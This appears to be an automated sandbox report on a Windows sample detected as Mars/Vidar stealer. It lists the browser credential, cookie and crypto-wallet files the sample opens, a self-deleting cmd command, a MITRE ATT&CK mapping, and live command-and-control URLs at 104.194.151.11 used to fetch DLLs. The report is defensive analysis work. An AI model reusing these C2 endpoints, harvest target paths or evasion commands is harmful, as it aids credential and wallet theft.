Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0040C370 mov eax, dword ptr fs:[00000030h]	0_2_0040C370

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_0040AE40 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_0040AE40

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

0_2_0040AFF0

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00406A50 GetSystemTime,lstrcat,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,

0_2_00406A50

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_0040AE90 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_0040AE90

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_0040AF30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_0040AF30

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00406D50 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

0_2_00406D50

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BBiIn5gqhd.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BBiIn5gqhd.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BBiIn5gqhd.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BBiIn5gqhd.exe	66%	Virustotal		Browse
BBiIn5gqhd.exe	96%	ReversingLabs	Win32.Trojan.MarsStealer
BBiIn5gqhd.exe	100%	Avira	TR/Crypt.XPACK.Gen
BBiIn5gqhd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\ProgramData\sqlite3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://support.mozilla.org/products/firefox	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://104.194.151.11/nss3.dllX	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://104.194.151.11/sqlite3.dll	0%	Avira URL Cloud	safe
http://104.194.151.11/nss3.dll	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://104.194.151.11/softokn3.dll	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://104.194.151.11/sqlite3.dll	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll	0%	Avira URL Cloud	safe
http://104.194.151.11/vcruntime140.dll7?	0%	Avira URL Cloud	safe
http://104.194.151.11/AP.php	0%	Avira URL Cloud	safe
http://104.194.151.11/nss3.dll	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll	0%	Virustotal		Browse
http://104.194.151.11/freebl3.dll	0%	Avira URL Cloud	safe
http://104.194.151.11/softokn3.dllw	0%	Avira URL Cloud	safe
http://104.194.151.11/vcruntime140.dll	0%	Avira URL Cloud	safe
http://104.194.151.11/freebl3.dll	0%	Virustotal		Browse
http://104.194.151.11/softokn3.dll	0%	Virustotal		Browse
http://104.194.151.11/sqlite3.dlll	0%	Avira URL Cloud	safe
http://104.194.151.11/AP.php	0%	Virustotal		Browse
http://104.194.151.11/mozglue.dll	0%	Avira URL Cloud	safe
http://104.194.151.11/vcruntime140.dllH?	0%	Avira URL Cloud	safe
http://104.194.151.11/vcruntime140.dll	0%	Virustotal		Browse
http://104.194.151.11/vcruntime140.dlll	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://104.194.151.11/freebl3.dllM	0%	Avira URL Cloud	safe
http://104.194.151.11/mozglue.dll	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://104.194.151.11/sqlite3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/AP.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/freebl3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/vcruntime140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.194.151.11/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://104.194.151.11/nss3.dllX	BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/vcruntime140.dll7?	BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000071A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://104.194.151.11/softokn3.dllw	BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.194.151.11/sqlite3.dlll	BBiIn5gqhd.exe, 00000000.00000003.2025763944.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.194.151.11/vcruntime140.dllH?	BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000071A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/vcruntime140.dlll	BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.194.151.11/freebl3.dllM	BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.194.151.11	unknown	United States		53667	PONYNETUS	true

General Information

